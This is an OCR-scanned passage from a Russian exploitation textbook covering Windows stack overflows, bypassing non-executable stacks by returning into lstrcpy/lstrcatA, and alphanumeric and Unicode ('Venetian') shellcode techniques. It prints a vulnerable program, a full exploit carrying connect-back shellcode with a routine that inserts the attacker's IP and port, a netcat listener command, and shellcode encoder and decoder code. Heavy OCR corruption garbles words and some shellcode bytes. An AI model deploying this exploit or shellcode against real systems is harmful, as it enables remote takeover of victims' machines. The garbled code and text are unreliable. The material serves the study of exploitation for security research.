Переполнение буфера и неисполняемые стеки 175 IK пользуемый для преобразования строк ASCII в строки Unicode с помощью iniviix функций, как SetComputerNameA и GetModuleHandleA. Если предположить, ми» функция выделяет буфер без проверки длины строки или ее удалось ввести и иомуждение относительно фактической длины строки ANSI, это может примем м к переполнению буфера. Если это произойдет, как использовать данный подход для выполнения произвольного кода? Это зависит от того, в каком именно блоке ТЕВ произошло переполнение. Если это блок ТЕВ первого про- i p.iMMiioro потока, то переполненные данные попадут в блок окружения процесса (РЕВ). Как уже отмечалось, блок РЕВ содержит несколько указателей, in пользуемых при завершении процесса. Мы можем заменить любые из этих yi\,i.i.i гелей и перехватить управление. Если блок ТЕВ принадлежит не первому, it любому другому потоку, то при переполнении данные перезапишут другой (ниичТЕВ. Ii'iokii ТЕВ содержат несколько интересных указателей, которые можно было (н,| заменить, например, указатель на первую стековую структуру EXCEPT10N_ KldlSTRATION. Далее остается каким-то образом спровоцировать исключение м по i оке, которому принадлежит захваченный блок ТЕВ. Конечно, можно рас- Н|мк iранить переполнение по нескольким блокам ТЕВ, добраться в конце концом до блока РЕВ и снова заменить те же указатели. Если бы такое решение fn.i'io практически применимым, его бы несколько усложняло (хотя и не делало иеиозможным) то обстоятельство, что переполнение должно выполняться в форма ie Unicode. Переполнение буфера и неисполняемые стеки II Sim Solaris для борьбы с переполнением буферов в стеке была предусмотрена итможность запрета на исполнение кода в стеке. В результате атаки, основанные па выполнении постороннего кода в стеке, завершались неудачей. На пронес горах х86 пометить стек как исисполняемый невозможно, однако некоторые продукты отслеживают стек каждого процесса и в случае выполнения кода за- игршают процесс. < vшествует несколько методов борьбы с зашито!! стека от выполнения произ- по/ц.иого кода. Один метод, предложенный Solar Designer, основан на замене «охраненного адреса возврата адресом функции systemQ, за которым следует фпкппшый (с точки зрения системы) адрес возврата и указатель на выполняемую команду. В этом случае при выполнении команды ret управление передает- • ч функции systemQ, при этом регистр ESP ссылается на фиктивный адрес воз- пр.иа С точки зрения функции systemQ все идем ровно так, как и должно Мгрпым аргументом является ESP+4 - адрес, по которому находится указате/ц> п.i команду. Дзвнд Личфилд (David Litchfield) написал статью о применении Пию меюда на платформе Windows. Однако мы обнаружили, что сущееi iryei ipvioii, более правильный метод борьбы с неисполняемымп пекамн И ходе иг • 'пчинанпп мы п.п кпучись на сообщение и ВпдAа<| oi Рафачя Нопчука (lv.il.il
176 Глава 8. Переполнение в Windows Wojtczuk), в котором описывался аналогичный метод (http://community.core-sdi. com/~juliano/non-exec-stack-problems.htmL). Этот метод, основанный на копировании строк, еще не документирован для платформы Windows, поэтому мы сделаем это сейчас. Проблема с заменой сохраненного адреса возврата адресом функции system() заключается в том, что функция system() экспортируется библиотекой msvcrt.dll Windows, а местонахождение этой библиотеки в памяти зависит от системы (и даже изменяется между процессами в пределах одной системы). Более того, при выполнении команды мы не имеем доступа к Windows API, а это существенно ограничивает свободу действий. Гораздо лучше было бы скопировать буфер в кучу процесса или другую область памяти, доступной для записи/исполнения, а затем передать управление в копию. Для этого сохраненный адрес возврата заменяется адресом функции копирования строки. Использовать для этой цели функцию strcpy() нельзя по тем же причинам, по которым мы отказываемся от функции system() — функция strcpy() также импортируется библиотекой msvcrt.dll. С другой стороны, функция lstrcpy() экспортируется библиотекой kernel32.dll, для которой по крайней мере гарантирован постоянный базовый адрес во всех процессах одной системы. Если с lstrcpy() возникнут проблемы (например, если адрес содержит недопустимые символы вроде ОхОА), можно вернуться к функции Istrcat. Куда копировать буфер? Если в кучу, то скорее всего, это приведет к разрушению служебных структур кучи и аварийному завершению процесса. К счастью, каждый блок ТЕВ содержит 520-байтовый буфер, служащий для преобразования строк из ANSI в Unicode; этот буфер смещен от начала ТЕВ на ОхСОО байт. У первого потока процесса блок ТЕВ находится по адресу 0x7FFDE000, поэтому адрес буфера равен 0x7FFDEC00. Мы можем передать этот адрес функции lstrcpy() в качестве приемного буфера, но из-за завершающего нуля мы передадим 0x7FFDEC04. Затем нужно определить местонахождение буфера в стеке. Так как это последнее значение в конце нашей строки, далее если перед адресом в стеке находится значение NULL (например, 0x0012FFD0), это ни на что не повлияет. И наконец, вместо передачи фиктивного адреса возврата мы должны задать адрес, по которому был скопирован внедряемый код, чтобы при возврате из Istrcpy управление было передано в наш буфер. При возвращении из уязвимой функции адрес возврата берется из стека. Мы заменили настоящий адрес возврата адресом lstrcpy(), потому в результате управление передается функции lstrcpy(). С точки зрения Istrcpy() регистр ESP указывает на сохраненный адрес возврата, поэтому программа пропускает его для обращения к параметрам — исходному и приемному буферам. Она копирует 0x0012FFD0 в 007FFDEC04 и продолжает копирование вплоть до первого нуль- символа, который находится в конце (внизу справа на рис. 8.4). Завершив копирование, функция возвращает управление в наш буфер, и выполнение программы продолжается в буфере. Естественно, внедряемый код должен иметь размер менее 520 байт, или произойдет переполнение — либо и другой блок ТЕВ, либо (для блока ТЕВ первого потока) в блок РЕВ.
Переполнение буфера и неисполняемые стеки 177 0x0012FFD0 Начало буфера 0x0012FFD0 КОД Указатель базы Адрес возврата КОД Адрес LSTRCPY0 0X7FFDEC04 Адрес возврата IstrcpyO 0x7FFDEC04 Указатель на приемник 0x0012FFD0 Указатель на источник До переполнения После переполнения Рис. 8.4. Стек до и после переполнения Ic'iii но внедренном коде задействованы функции, использующие буфер для преобразования ANSI в Unicode, произойдет повреждение кода. Не огорчай- Н'п» в ТЕВ остается столько свободного (а вернее, не критичного) места, что им можно воспользоваться для своих целей. Скажем, начиная с адреса 0x7FFDElBC, и (ниже ТЕВ первого процесса следует блок NULL Начнем с рассмотрения уязвимой программы: //include <stdio.h> ml foo(char *); ml maindnt argc. char *argv[]) I unsigned char buffer[520]="". if(argc !=2) return printfCPlease supply an argument1 \n"), foo(argv[l]). return 0. I ml foo(char *input) I unsigned char buffer[600]="". pnntfC* 8X\n",&buffer). strcpy(buffer,input), return 0, И функции foo() возникают условия для переполнения буфера в стеке. Вызои '.1иру() использует 600-байтовый буфер без предварительной проверки длимы in чодного буфера. Переполнение приводит к замене сохраненного адреса иоз- ii|».iiл адресом функции LstrcatA. 1.пем мы заменяем адрес возврата для выхода из IstrcatA (в тгом качееше не ио'п.зупси адрес попою бусЬепа и ТЕВ) I laicoiKMi. остапся ладам» поиемш.п"!
178 Глава 8. Переполнение в Windows буфер для IstrcatA (наш блок в ТЕВ) и исходный буфер, находящийся в стеке. Программа была откомпилирована Microsoft Visual C++ 6.0 в Windows XP Service Pack 1. Внедряемый код работает в любой версии Windows NT и выше, получая список загруженных модулей из блока РЕВ. Далее программа получает базовый адрес kernel32.dll и ищет в его РЕ-заголовке адрес GetProcAddress. Зная его, а также базовый адрес kernel32.dll, мы получаем адрес LoadLibraryA - с этими двумя функциями можно делать практически все, что угодно. Запустите netcat на прослушивание порта командой СЛпс -1 -р 53 После этого выполните следующую программу: #inc i ude <stdio h> #include <windows.h> unsigned char exploit[510]= "\x55\x8B\xEC\xEB\x03\x5B\xEB\x05\xE8\xF8\xFF\xFF\xFF\xBE\xFF\xFF" n\xFF\xFF\x81\xF6\xDC\xFE\xFF\xFF\x03\xDE\x33\xC0\x50\x50\x50\x50" n\x50\x50\x50\x50\x50\x50\xFF\xD3\x50\x68\x61\x72\x79\x41\x68\x4C" "\x69\x62\x72\x68\x4C\x6F\x6r\x64\x54\xFF\x75\xFC\xFF\x55\xF4\x89" "\x45\xF0\x83\xC3\x63\x83\xC3\x5D\x33\xC9\xBl\x4E\xB2\xFF\x30\xl3" ,,\x83\xEB\x01\xE2\xF9\x43\x53\xFF\x75\xFC\xFF\x55\xF4\x89\x45\xEC" "\x83\xC3\xl0\x53\xFF\x75\xFC\xFF\x55\xF4\x89\x45\xE8\x83\xC3\x0C" "\x53\xFF\x55\xF0\x89\x45\xF8\x83\xC3\x0C\x53\x50\xFF\x55\xF4\x89" "\x45\xE4\x83\xC3\x0C\x53\xFF\x75\xF8\xFF\x55\xF4\x89\x45\xE0\x83" ,,\xCЗ\xOC\x53\xFF\x75\xF8\xFF\x55\xF4\x89\x45\xDC\x83\xCЗ\x08\x89,, "\x5D\xD8\x33\xD2\x66\x83\xC2\x02\x54\x52\xFF\x55\xE4\x33\xC0\x33" M\xC9\x66\xB9\x04\x01\x50\xE2\xFD\x89\x45\xD4\x89\x4b\xD0\xBF\x0AM M\x01\x01\x26\x89\x7D\xCC\x40\x40\x89\x45\xC8\x66\xB8\xFF\xhF\x66" "\x35\xFF\xCA\x66\x89\x45\xCA\x6A\x01\x6A\x02\xFF\x55\xE0\x89\x45" "\xE0\x6A\xl0\x8D\x75\xC8\x56\x8B\x5D\xE0\x53\xFF\x55\xDC\x83\xC0" ,,\x44\x89\x85\x58\xFF\xFF\xFF\x83\xC0\x5E\x83\xC0\x5E\x89\x45\x84,, "\x89\x5D\x90\x89\x5D\x94\x89\x5D\x98\x8D\xBD\x48\xFF\xFF\xFF\x57" "\x8D\xBD\x58\xFF\xFF\xFF\x57\x83\xn0\x50\x50\x50\x83\xC0\x0r\x50" "\x83\xE8\x01\x50\x50\x8B\x5D\xD8\x53\x50\xFF\x55\xEC\xFF\x55\xE8" "\x60\x33\xD2\x83\xC2\x30\x64\x8B\x02\x8B\x40\xOC\x8B\x70\xlC\xAD" "\x8B\x50\x08\x52\x8B\xC2\x8B\xF2\x8B\xDA\x8B\xCA\x03\x52\x3C\x03" "\x42\x78\x03\x58\xlC\x5]\x6A\xlF\x59\x41\x03\x34\x08\x59\x03\x48" ,,\x24\x5A\x52\x8B\xFA\x03\x3E\x81\x3F\x4/\x65\x74\x50\x74\x08\x83" "\xC6\x04\x83\xCi\x02\xEB\xEC\x83\xC7\x04\x81\x3F\x72\x6F\x63\x41" "\x74\x08\x83\xC6\x04\x83\xCl\x02\xEB\xD9\x8B\xFA\xOF\xB7\x01\x03" "\xЗC\x83\x89\x7C\x24\x44\x8B\xЗC\x24\x89\x7C\x24\x4C\x5F\x61\xCЗ,, ,,\x90\x90\x90\xBC\x8D\x9A\x9E\x8B\x9A\xAF\x8D\x90\x9C\x9A\x8C\x8C" M\xBE\xFF\xFF\xBA\x87\x96\x8B\xAB\x97\x8D\x9A\x9E\x9B\xFF\xFF\xA8" "\x8C\xCD\xA0\xCC\xCD\xDl\x9B\x93\x93\xFF\xFr\>A8\xAC\xBE\xAC\x8B" ,,\x9E\x8D\x8B\x8A\x8F\xFF\xFF\xA8\xAC\xBF\xAC\x90\x9C\x94\x9A\x8B,, "\xBE\xFF\xFF\x9C\x90\x91\x91\x9A\x9C\x8B\xFF\x9C\x92\x9B\xFF\xFF" •\xFF\xFF\xFF\xFF", mt iramdnL argc, char *argv[]) { "mt cnt -- 0. hit, mnrcl rhdP hul lerl 1000
Переполнение буфера и неисгюлнясмые стеки 179 if(argc !=3) return 0. StartWinsockO . // Задайте IP-адрес и порт во внедряемом коде // Если IP-адрес содержит NULL, строка будет усечена SetUpExploit(argv[l].atoi(argv[2])). // Имя уязвимой программы strcpy(buffer."nes "); // Копирование кода в буфер strcat(buffer.exploit), // Запись заполнителей в буфер while(cnt < 25) { Strcat(buffer."\x90\x90\x90\x90"). cnt +-+. } Strcat(buffer,"\x90\x90\x90\x90"). II Замена адреса возврата // Адрес IstrcatA в Windows XP SP 1 // 0х77Е/4В6б strcat(buffer."\x66\x4B\xE7\x77n). - // Назначение адреса возврата для IstrcatA. // где наш код будет скопирован в ТЕВ strcat(buffer,"\xBC\xEl\xFD\x7F"). // Назначение приемного буфера для IstrcatA // Буфер в ГЕВ. по которому возвращается управление strcat(buffer,"\xBC\xEl\xPD\x7F"), // Исходный буфер - адрес, по которому в стеке // расположен буфер-источник strcat(buffer,"\х10\хГВ\х12"). // Выполнение уязвимой программы WinExec(buffer.SW_MAXIMIZE). return 0. ml. StartWmsockO I int err-0. WORD wVersionReq lies ted. WSADATA wsaData. wVersionRequested = MAKIWORDC 2. 0 ). irr = WSA ,1 irtup( wVersionRequested. ^wsaData ). i( ( (M i ' 0 )
180 Глава 8. Переполнение в Windows return 0; if ( LOBYTEC wsaData.wVersion ) != 2 || HIBYTEC wsa-Data.wVersion ) '= 0 ) { WSACleanup( ). return 0; } return 0; } int Setl)pExp1oit(char *myip. int myport) { unsigned int ip=0, unsigned short prt=0, char *ipt="". char *prtt="\ ip = inet_addr(myip); ipt = (char*)&ip, exploit[191]=ipt[0]. exploit[192]=ipt[l], exploit[193]=ipt[2], exploit[194]=ipt[3], // Назначение TCP-порта для подключения. // По этому порту должно осуществляться прослушивание netcat // например.пс -1 -р 53 prt = htons((unsigned short)myport); prt = prt " OxFFFF; prtt = (char *) &prt, exploit[209]=prtt[0], exploit[210>prtt[l], return 0; } Итоги В этой главе были рассмотрены некоторые нетривиальные методы переполнения буферов в Windows. Хочется надеяться, что приведенные примеры и объяснения помогут найти решения даже в трудных ситуациях. Исходите из предположения, что уязвимость, связанная с переполнением буфера, может быгь использована для атаки в любом случае, а раз так, остается просто потратить какое-то время на поиск конкретных вариантов эксплуатации этой уязвимости.
ГЛАВА 9 Обход фильтров Одной из проблем, возникающих при эксплуатации некоторых уязвимостей, i тминных с переполнением буфера, является возможное наличие фильтров; например, уязвимая программа может воспринимать только алфавитные сим- мичы A-Z и a-z, а также цифры от 0 до 9. В подобных ситуация приходится об- чодить два препятствия. Во-первых, весь код эксилойта должен соответствовать формату, предписанному фильтром; во-вторых, необходимо найти подходящее течение, которое в зависимости от типа эксплуатируемой уязвимости могло (ни использоваться для перезаписи сохраненного адреса возврата или указателя ни функцию. Формат этого значения должен быть разрешен фильтром. При ра- ivmiii>ix требованиях фильтров (например, печатные ASCII- или Unicode-сим- иплы) первую проблему обычно удается решить. Решение второй проблемы 1.ПП1СИТ от настойчивости, изобретательности и в определенной степени от ве- Н'ИПХ. Код обхода алфавитно-цифровых фильтров И недавнем прошлом часто встречались ситуации, в которых код эксплойта /иi/iжен был состоять из печатных ASCII-символов; иначе говоря, каждый байт должен был лежать в диапазоне A-Z @x41-0x5A), a-z @x61-0x7A) или 0-9 @x30 -0x39). Внедряемый код такого рода впервые был описан Райли «Цезарем» Эллером (Riley «Caesar» Eller) в статье «Bypassing MSB Data Filters for Ми Her Overflows» (август 2000 г.). Хотя в статье Эллера допустимыми считают- • и /иобые символы в диапазоне от 0x20 от 0x7F, она может быть хорошей отправной точкой для всех, кто интересуется преодолением подобных ограничений. Мл.юная методика основана на записи «настоящего» внедряемого кода командами, содержащими только алфавитно-цифровые байты. Этот прием называется тн троением моста (bridge building). Например, если мы хотим выполнить команду call eax (OxFF 0xD0), в стек потребуется записать следующий фрагмент: push 30h FA 30) // Занести в стек 0x00000030 pop eax E8) // Извлечь в регистр ЕАХ ч.г al.30h C4 30) // В регистре ЕАХ остается значение 0x00000000 Ни еах D8) // Уменьшить ЕАХ на 1, остается OxFEFFFFFF м»| eax./A393939h C5 39 39 39 7А) // В ЕАХ остается 0х8ЬШ'.Ш>
182 Глава 9. Обход фильтров xor eax,55395656h C5 56 56 39 55) // В ЕАХ остается 0xD0FF9090 push eax E0) // Занести в стек Пока все выглядит нормально — аналогичные приемы вполне можно исполыю] вать при написании реального внедряемого кода. Но здесь возникает проблема Мы записываем реальный код в стек и собираемся передать этому коду упраш ление командой jump или call. Но как манипулировать с ESP, если мы не можем напрямую выполнить команду pop esp из-за кода 0х5С (символ обратного еле] ша) в этой команде? Вспомните, что в конечном счете мы должны связать код который записывает «настоящий» эксплойт, с самим этим эксплойтом. Это оз начает, что регистр ESP должен содержать более высокий адрес, чем тот, кою рый исполняется. При классическом стековом переполнении буфера, когда ис полнение начинается по адресу ESP, можно было бы увеличить значение ESI командой inc esp @x44). Однако этот способ не подойдет, потому что команд^ inc esp увеличивает значение в регистре ESP на 1, по и сама занимает 1 байт, raij что от ее выполнения ничего не меняется. Нет, нам нужна команда, которая бь| вносила в ESP более значительные изменения. На помощь приходит команда popad (противоположность команде pushad), кей торая извлекает старшие 32 байта из стека и заносит их в регистры в определен] ном порядке. Только при этом регистру ESP не присваивается новое значение, из] влеченное из стека командой popad, но содержимое ESP все же изменяется] поскольку из стека извлекаются 32 байта. Таким образом, если выполнений происходит по адресу ESP, то после многократного выполнения команды popad регистр ESP будет ссылаться на более старший адрес памяти, чем тот, который выполняется в данный момент. Когда мы начнем заносить «настоящий» вне* дряемый код в стек, два фрагмента кода встретятся в памяти, и мост будет но-» строен. Чтобы сделать нечто полезное таким способом, необходимо выполнить боль-J шое количество аналогичных операций. В представленном ранее примере с ко-] мандой call eax мы использовали 17 байт алфавитно-цифрового внедряемого кода для записи 4 байт «настоящего» внедряемого кода. Если «настоящий» переносимый' эксплойт для Windows занимает около 500 байт, его алфавит-! но-цифровая версия потребует более 2000 байт. Кроме того, его довольно тяже-; ло вводить, а если позднее понадобится написать программу, которая будет делать нечто большее, то всю работу придется проделывать заново. Можно ли как-то исправить ситуацию? Конечно, можно — следует воспользоваться дешифрированием. Если сначала написать «настоящий» эксплойт и зашифровать его, то останется лишь написать ASCII-код его дешифрирования, который будет дешифрировать и запускать «настоящий» эксплойт Этот метод требует однократного написания небольшого фрашеига ASCII-кода и сокращаем общий обьем внедряемою кода. Какой механизм шифрования следует использовать? J l'i первый взгляд, схема BaseG'1 кажемся неплохим кандидатом: 3 произвольных байта преобразу ются в 4 печатных ASCII-байта (схема часчо используется при пересылке дно ичных файлов). В BaseG4 3 байта «реального» кода расширяются до \ баш шифрованного кода. Тем не менее, «алфавит» BaseG7i содержи! ряд снмпо/нж,
Код обхода алфавитно-цифровых фильтров 183 Mi* мпаяющихся алфавитно-цифровыми, поэтому придется поискать что-нибудь Мруте. В данной ситуации лучше разработать собственный код шифрования i небольшим фрагментом дешифрирования. Для этой цели можно предложить i нему Base 16, разновидность Base64. И и oii схеме один 8-разрядный байт делится на две половины по 4 разряда. К каждой половине прибавляется 0x41. Это позволяет представить любой М разрядный байт двумя байтами, значения которых лежат в интервале от 0x41 'in 0x50. Например, 8-разрядный байт 0x90 A0010000 в двоичном виде) делится им лис 4-разрядные секции 1001 и 0000. После прибавления 0x41 к каждой секции мы получаем 0x4 А и 0x41, то есть символы ЗиЛ. I чсм.1 дешифрирования проделывает все операции в обратном порядке. Сначала Гм'регся первый символ J @x4A в нашем примере) и из него вычитается 0x41. Помученное значение сдвигается па 4 бита влево, к нему прибавляется второй fhii't i и из результата вычитается 0x41. Так мы снова получаем 0x90: Неге iiiov al .byte ptr [edi] sub al.41h sh! al.4 inc edi add al.byte ptr [ediJ sub al.4lh mov byte ptr [esij.al inc esi inc edi (nip byte ptr[edi].0x51 jb here hue выглядит основной цикл кода дешифрирования. В зашифрованном коде чимжны использоваться только символы Л-Р, поэтому для пометки конца зашифрованного кода можно применить символ Q или выше. Регистр EDI, как и I SI, указывает на начало дешифрируемого буфера. Первый бант буфера поме- ш.и* гея в AL, и из него вычитается 0x41. Результат сдвигается на 4 разряда вле- п<>, мосле чего к AL прибавляется второй байт в буфере. Полученное значение \'мг1!ьшается па 0x41 и записывается в F.SI. Цикл продолжается до тех пор, пока и пуфере не встретится символ, больший Р. Впрочем, многие байты кода дешифрирования не являются алфавитно-цифровыми. Необходимо создать специальный код, который будет записывать код дешифрирования и передавать • mv управление. I шг один вопрос — как занести в EDI и EST правильные адреса, по которым ii;i чп'мися зашифрованных! код? Придется еще немного поработать - схеме де шифрпроваиия должен предшествовать следующий код, задающий значения |н-| iici ров: imp В A jmp С В call A С pop edi adG edi.OxlC push edi поп nsi
1 84 Глава 9. Обход фильтров Начальные команды получают адрес текущей точки выполнения (EIP-1) и из^ влекают его в регистр EDI. Затем к EDI прибавляется OxlC, после чего регистр указывает на байт, следующий за командой jb, завершающей код дешифрирова ния. Этот адрес отмечает начало зашифрованного кода, а также адрес, по кото| рому он записывается. Таким образом, после завершения цикла выполнении продолжится непосредственно с нашего «настоящего» внедренного кода, про! шедшего дешифрирование. Возвращаясь к описываемому фрагменту, мы создм ем копию EDI и помещаем ее в ESI. Регистр ESI будет содержать эталоннум ссылку на адрес, по которому дешифрируется наш код. Когда схема дешифри] рования сталкивается с символом, большим Р, происходит выход из цикла и управление передается дешифрированному коду. Остается лишь написаТ! «модуль записи кода дешифрирования», используя исключительно алфавит] но-цифровые символы. Выполните следующий код, и вы увидите его в дейст! вии: #include <stdio.h> int mainO { char buffer[400]="aaaaaaaaj0X40HPZRXf5A9f5UVfPh0z00X5JEaBP" "YAAAAAAQhC000X5C7wvH4wPh00a0X527MqPh0" "OCCXf54wfPRXf5zzf5EefPhOOMOX508aqH4uPhOGO" X50ZgnH48PRX5000050M00PYAQX4aHHfPRX40" 6PRXf50zf50bPYAAAAAAfQRXf50zf50oPYAAAfQ" "RX5555z5ZZZnPAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAEBEBEBEBEBE" "BEBEBEBEBEBEBEBEBEBEBEBEBEBEBQQ": unsigned int x = 0; x = &buffer; _asm{ mov esp.x jmp esp } return 0; } Код реального эксилойта, который требуется выполнить, шифруется и присося диияется к этому фрагменту. Признаком его завершения является символ! больший Р. Далее приводится код шифрования: finclude <stdio.h> #include <windows.h> int mainO { unsigned char RealShell-code[]="\x55\x8B\xEC\x68\x30\x30\x30\x30\x58\x8B\xE5\x5D\xC3M, unsigned int count = 0, length=0. cnt=0, unsigned char *ptr = null, unsigned char a=0,b=0. length = strlen(RealShellcode). ptr - malloc((length + 1) * 2).
Код обхода Unicode-фильтров 185 ptr = ma!Ioc((length + 1) * 2). if(lptr) return pnntfC'mallocO failed.\nM), ZeroMemory(ptr,(length+l)*2); while(count < length) { a = b = RealShellcode[count], a = a » 4. b = b « 4, b = b » 4, a = a + 0x41. b = b + 0x41, ptr[cnt++] = a; ptr[cnt++] = b; count ++. } strcat(ptr.MQQ"), free(ptr). return 0. I Код обхода Unicode-фильтров Крис Анли (Chris Anley) первым документировал возможность эксплуатации ум.пшмостей, связанных с форматом Unicode, в своей превосходной статье «¦Creating Shell Code in Unicode Expanded Strings», опубликованной в январе ЖJ года (www.netxgenss.com/papers/unicodebo.pdf). II статье представлен метод создания внедряемого кода на основе машинных 1\им;шд в формате Unicode (иначе говоря, когда каждый второй байт равен MV'iio). Хотя статья Криса дает отличное представление о таких методах, и у самом методики, и у представленного кода есть ограничения. Автор понимает это и .ивершает статью перечнем возможных улучшений. В настоящем разделе представлена методика Криса, называемая венецианским методом, и его реали- 1.ШМЯ этого метода, а также возможные усовершенствования и способы решения проблем. Кодировка Unicode Прежде чем продолжать, стоит напомнить азы. Unicode — это стандарт 16-раз- рядпой кодировки символов (в отличие от 8- или, вернее, 7-разрядной кодировки ASCII). Применение кодировки Unicode обеспечивает значительное расширение набора символов и содействует интернационализации. Поддержка • мпдлрга Unicode операционной системой упрощасч ее использование, а следо- luie/iuio, способствует ее признанию в международном сообществе. Если опе- р.щиомпая система поддерживает Unicode, то ее код достаточно написать толь- ы> одни раз, а в дальнейшем изменять только язык и набор символов; таким пщм.юм, даже системы с латинским алфавитом в действительности используин Miiuode. В кодировке Unicode ASCII-коды символов латинского ллфави i;i до
1 86 Глава 9. Обход филы ров полняются нулевыми байтами. Например, ASCII-символ А с шестнадцатерич' ным кодом 0x41 в кодировке Unicode превращается в 0x4100. Еще пример: о Строка: ABCDEF о Эта строка в кодировке ASCII: \x41\x42\x43\x44\x45\x46\x00 о Та же строка в кодировке Unicode: \x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x00\x00 Unicode-символы часто называются широкими (wide characters); строки, со1! стоящие из широких символов, завершаются двумя нулевыми байтами. В то жй время символы, не входящие в набор ASCII (например, символы китайской] или русского алфавита) не содержат нулевых байтов — в них задействованы все 16 разрядов. В операционных системах семейства Windows обычные ASCIIs строки часто преобразуются в кодировку Unicode при передаче ядру или щщ использовании в таких протоколах, как RPC. Преобразование из ASCII в Unicode На высоком уровне в большинстве программ и текстовых сетевых протоколе^) (таких, как HTTP) используются обычные ASCII-строки. Иногда возникает не< обходимость преобразования таких строк в Unicode для обработки серверам^ или программами более низкого уровня. ПРИМЕЧАНИЕ Ч Уязвимости кодировки Unicode эксплуатируются по тем же принципам, что и «TpaJ диционные» уязвимости. Все, что нам известно о риске, связанном с использовач нием таких функций, как strcpyQ и strcat(), в равной степени относится и к Unicodej] у этих функций существуют «широкие» эквиваленты wscpy() и wscat(). Более того.] даже функции преобразования MultiByteToWideChar() и WideCharToMultiByte(S уязвимы в отношении переполнения буфера при неправильном вычислении длины строк. Существуют даже уязвимости форматных Unicode- строк. В системах Windows обычная ASCII-строка преобразуется в своп Unicode-эквивалент с помощью функции MultiByteToWideCharQ. И наоборот, для преобразования Unicode-строк в формат ASCII используется функция WideCharToMulti-' Byte(). Первый параметр обеих функций определяет кодовую страницу. При вызове функции MultiByteToWideChar() одно 8-разрядное значение может быть преобразовано в совершенно разные IG-разрядпые значения в зависимости от кодовой страницы. Например, если функция преобразования вызывается для кодовой страницы ANSI (СР АСР), 8-разрядное значение 0x8В преобразуется в широкий символ 0x3920. С другой стороны, при выборе кодовой страницы OEM (CP_0EM) символ 0x8В преобразуется в OxEFOO. Не стоит и говорить, что выбор кодовой страницы существенно влияет на код любого зкеплойта, предназначенного для эксплуатации уязвимостей кодировки Unicode. Тем не менее, обычные ASCII-символы вроде А @x41) чаще всею ирг образуются в широкие символы простым добавлением нуль-бай га 0x4100 ('ooi • ветственно пои программировании эксплоГпа, обеспечивающей) перспо/шеппе
Эксплуатация уязвимостей кодировки Unicode 187 буферов для Unicode, лучше всего использовать код, состоящий из одних A'i<'М-символов. Это снижает вероятность случайного искажения кода функциями преобразования. Эксплуатация уязвимостей кодировки Unicode Чин ни выполнить переполнение буфера для Unicode, сначала нужно разрабо- (щ I. механизм передачи управления процессом в пользовательский буфер. Уяз- IHiмости такого рода основаны на замене сохраненного адреса возврата или адре- I (! обработчика исключений значением, представленным в кодировке Unicode. Ниирпмср, если буфер находится по адресу 0x00310004, сохраненный адрес воз- li|ui;i пли адрес обработчика исключения заменяется значением 0x00310004. I \ 'in один из регистров содержит адрес пользовательского буфера (и вам очень иши'.кч), возможно, удастся найти код команды jmp регистр или call регистр i передачей управления по адресу «в стиле Unicode». Например, если регистр fIIX указывает на пользовательский буфер, возможно, по какому-нибудь удобному адресу (скажем, 0x00770058) найдется команда jmp ebx. Если вам повезет еще больше, удастся обойтись командой jmp или call ebx после адреса «в форма- И' Unicode». Рассмотрим следующий фрагмент: (N007700FF шс есх (Ы)(O70100 push есх (К00/70101 call ebx Мы заменяем сохраненный адрес возврата или адрес обработчика исключения нычепием 0x007700FF, и управление передастся по этому адресу. Регистр ЕСХ увеличивается на 1 и заносится в стек, после чего происходит вызов по адресу, пдержащемуся в ЕВХ. В результате управление передается в буфер, предостав- •1П111ЫЙ пользователем. Подобные совпадения встречаются один раз на миллион и все же такую возможность стоит учитывать. Если в программе нет ничего, •ио вызвало бы нарушение доступа перед выполнением команды caii регистр и ми jmp регистр, это вполне практичное решение. /loiivrniM, вы нашли способ передать управление в пользовательский буфер. /1,1 мее вам либо потребуется регистр, содержащий адрес буфера, либо этот адрес должен быть известен заранее. В венецианском методе этот адрес использу- 1'И'н при формировании внедряемого кода «па лету». О том, как получить адрес оуфера, мы поговорим позднее. Допустимый набор команд При жеплуагации уязвимостей кодировки Unicode выполняемый код должен мме| i, е<рого определенную структуру: каждый второй байт должен быть равен и у'по, тгда как остальные байты должны быть отличны от нуля. Разумеется, и п.мнем распоряжении остается весьма ограниченный набор команд — в основном ил побайтовые операции, в том числе push, pop, inc и dec. Также доступны 1-ом,mi/Iы вида ппООпп, например: inn I сну dwnrd i)l ) I (чх! ПхППпп
188 Глава 9. Обход фильтров Также иногда удается использовать команды вида ппООппООпп: imul eax, dword ptr[eax],0x00nn00nn Если две однобайтовые команды следуют друг за другом, как в следующем npf мере, то для приведения к «формату Unicode» их необходимо разделить пор-:-)! вивалентом с представлением ООппОО: 00401066 50 push eax 00401067 59 pop ecx Один из возможных вариантов: 00401067 00 6D 00 add byte ptr [ebp],ch Конечно, чтобы такой способ сработал, адрес, на который ссылается ЕВР, доЛ жен быть доступен для записи. Если это условие не выполняется, выбери^ другую команду из тех, что представлены позднее в настоящем разделе. Венецианский метод Написать полноценную программу при таком ограниченном наборе комаи] чрезвычайно сложно. Нельзя ли упростить эту задачу? Можно воспользоватьс] ограниченным набором команд для формирования кода «настоящего» эксплой та, как это сделано в венецианском методе, описанном в статье Криса Анли. ГЩ сути в венецианском методе используются модуль записи эксплойта и буфе^ содержащий наполовину записанный эксилойт. Буфер является тем приемнй ком, в котором в конечном счете должен оказаться «настоящий» эксплойт. Ма дуль записи, состоящий только из команд ограниченного набора, заменяет кажды! нулевой байт в приемном буфере значением, необходимым для формирование полноценного, «рабочего» кода эксплойта. Рассмотрим пример. Перед началом работы модуля записи приемный буфе] может содержать следующие данные: \x41\x00\x43\x00\x45\x00\x47\x00 В начале своей работы модуль записи заменяет первый нулевой байт кодоИ| 0x42; новое содержимое буфера выглядит так: \x41\x42\x43\x00\x45\x00\x47\x00 ' Затем следующий нулевой байт заменяется кодом 0x44: \x41\x42\x43\x44\x45\x00\x47\x00 Процесс повторяется до тех пор, пока в буфере не будет сформирован код «шИ стоящего» эксплойта: \x41\x42\x43\x44\x45\x46\x47\x48 Происходящее напоминает постепенное закрытие венецианских жалюзи - от-! сюда и название метода. Чтобы заменить нулевые байты нужными значениями, модулю записи потребу* ется как минимум один регистр, указывающий на первый нулевой байт наполовину заполненного буфера. Если предположить, что ЕАХ указывает на периыМ нулевой байт, его значение может быть задано следующей командой: 00401066 80 00 42 add bvte ntr Гоах!.42h
